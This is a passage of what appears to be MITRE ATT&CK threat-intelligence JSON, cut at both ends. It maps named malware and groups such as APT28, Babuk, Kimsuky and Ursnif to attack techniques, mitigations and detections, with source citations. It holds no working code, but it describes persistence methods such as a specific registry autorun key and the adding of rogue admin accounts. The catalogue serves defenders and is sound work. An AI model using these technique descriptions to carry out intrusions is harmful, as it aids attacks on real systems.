2013"}],"modified":"2019-04-24T16:39:54.060Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s client component is packed with UPX.(Citation: Lee 2013)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18210ad3-d5ed-414e-9b7d-04fc622dc2e9","type":"relationship","created":"2021-12-07T15:14:11.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2021-12-07T15:14:11.892Z","description":"(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1829d419-0145-4a47-bb1e-ff00e647b5ff","type":"relationship","created":"2021-01-13T21:54:29.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}],"modified":"2021-04-19T21:12:35.985Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has deployed malware that has copied itself to the startup directory for persistence.(Citation: TrendMicro Pawn Storm Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--182ae728-bd77-41ca-bd0d-dd2b3d6cf50b","type":"relationship","created":"2020-07-17T15:48:51.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.097Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can enumerate the domain user accounts on a targeted system.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18324fed-7770-4768-b652-59860ac4782f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-16T23:56:46.496Z","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system. [FLASHFLOOD](https://attack.mitre.org/software/S0036) will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. [FLASHFLOOD](https://attack.mitre.org/software/S0036) also collects information stored in the Windows Address Book.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18355c9b-c3e8-4bc7-a389-425e5d7c6351","type":"relationship","created":"2021-08-12T14:55:37.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Medium Babuk February 2021","url":"https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62","description":"Sebdraven. (2021, February 8). Babuk is distributed packed. Retrieved August 11, 2021."},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:29:16.902Z","description":"[Babuk](https://attack.mitre.org/software/S0638) can use ChaCha8 and ECDH to encrypt data.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Medium Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1837a0e7-d8aa-4c96-8213-7d08ceb86390","type":"relationship","created":"2020-01-23T19:32:49.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft WDAC","url":"https://docs.microsoft.com/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules","description":"Coulter, D. et al.. (2019, April 9). Microsoft recommended block rules. Retrieved August 12, 2021."}],"modified":"2022-03-11T20:38:29.107Z","description":"Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the mshta.exe application and to prevent abuse.(Citation: Microsoft WDAC)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--183b5c91-0424-4a26-830c-cdeb8959b72a","type":"relationship","created":"2020-05-06T17:47:43.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.710Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to execute shell commands on the infected host.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18437772-ace9-4a63-b928-8f313dc44f1e","created":"2023-08-08T13:53:44.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.644Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has archived data into ZIP files on compromised machines.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1844caba-e446-4c82-aa0e-9f826c523a25","created":"2024-03-04T21:13:36.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google Workspace Data Loss Prevention","description":"Google. (n.d.). Use Workspace DLP to prevent data loss. Retrieved March 4, 2024.","url":"https://support.google.com/a/answer/9646351"},{"source_name":"Microsoft Purview Data Loss Prevention","description":"Microsoft. (2024, January 9). Learn about data loss prevention. Retrieved March 4, 2024.","url":"https://learn.microsoft.com/en-us/purview/dlp-learn-about-dlp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-04T21:15:54.064Z","description":"Data loss prevention can prevent and block sensitive data from being shared with individuals outside an organization.(Citation: Microsoft Purview Data Loss Prevention) (Citation: Google Workspace Data Loss Prevention)","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--184739bd-f45e-4f2b-8caf-19e2cb30ae92","type":"relationship","created":"2021-01-06T17:34:44.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:11:07.705Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) checked that HKU\\SOFTWARE\\Microsoft\\CTF existed before decoding its embedded payload.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021) ","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--184bf796-4f6d-4d0e-921e-08eb3023b97e","type":"relationship","created":"2021-09-29T13:02:30.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2021-09-29T13:02:30.909Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used a tool called GREASE to add a Windows admin account in order to allow them continued access via RDP.(Citation: Netscout Stolen Pencil Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--184ee176-b599-4586-b1fc-5758c91a0c23","type":"relationship","created":"2020-10-21T17:01:35.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-10-15T00:43:45.423Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used MsiExec.exe to automatically execute files.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--184f018e-cb09-4da4-a599-bc7de09e262e","type":"relationship","created":"2021-01-28T19:56:08.939Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.028Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) has used a one-way communication method via GitLab and Digital Point to perform C2.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--185020c6-9b2a-4b08-8936-7d407ea753b4","type":"relationship","created":"2020-06-10T21:56:39.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:39.932Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool uses base64 encoding and HTML tags for the communication traffic between the C2 server.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1851d77b-bfdc-4aad-93cb-2e17a187c956","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for the creation of the Office Test Registry key. Collect events related to Registry key creation for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Office Test Sofacy","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18572125-3439-4f7c-92c8-d787913dc989","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis INOCNATION","description":"Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}],"modified":"2020-03-17T01:30:41.518Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to upload and download files from its C2 server.(Citation: Fidelis INOCNATION)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1858731f-2e82-4704-acba-b8de57dcfc4f","type":"relationship","created":"2021-09-29T00:30:23.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-16T02:20:16.888Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has added persistence via the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load which causes the malware to run each time any user logs in.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--185a72dd-e151-4eba-81f4-c3eeaa67873a","type":"relationship","created":"2019-01-29T19:36:02.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2020-03-28T21:32:10.384Z","description":"[Carbon](https://attack.mitre.org/software/S0335) creates several tasks for later execution to continue persistence on the victim’s machine.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--185bd112-5e1f-4059-9e42-b8b80874e8f2","created":"2022-09-01T15:49:21.153Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can exfiltrate collected data to its C2 server.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-09-01T15:49:21.153Z","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--185c194a-5823-46e4-9719-9de48c3c1734","type":"relationship","created":"2019-06-25T14:09:38.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-23T20:13:08.629Z","description":"Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1865774d-02c8-4c0d-b6a7-32f196819740","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Entrust Enable CAPI2 Aug 2017","description":"Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.","url":"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]},{"type":"relationship","id":"relationship--186ee163-fb1f-4a7d-b7d9-3c01efbb2be0","created":"2019-06-05T13:57:44.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NJCCIC Ursnif Sept 2016","description":"NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024.","url":"https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif"},{"source_name":"ProofPoint Ursnif Aug 2016","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:50:37.023Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used [Tor](https://attack.mitre.org/software/S0183) for C2.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18714758-e6ea-4f61-87c9-6340c0001b9c","type":"relationship","created":"2020-07-27T20:02:42.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-27T20:02:42.985Z","description":"\n[StrongPity](https://attack.mitre.org/software/S0491) has used HTTPS over port 1402 in C2 communication.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18730396-0ac8-4013-8d5c-5f23b29d3efe","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for newly constructed user accounts, such as userIDs under 500 on macOS, that may mask the presence of user accounts they create or modify.","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1873a6d4-fc01-4fd5-aa85-ded977998eab","created":"2022-04-07T18:01:12.329Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has relied on a victim to open a malicious attachment within an email for execution.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Confucius APT Jan 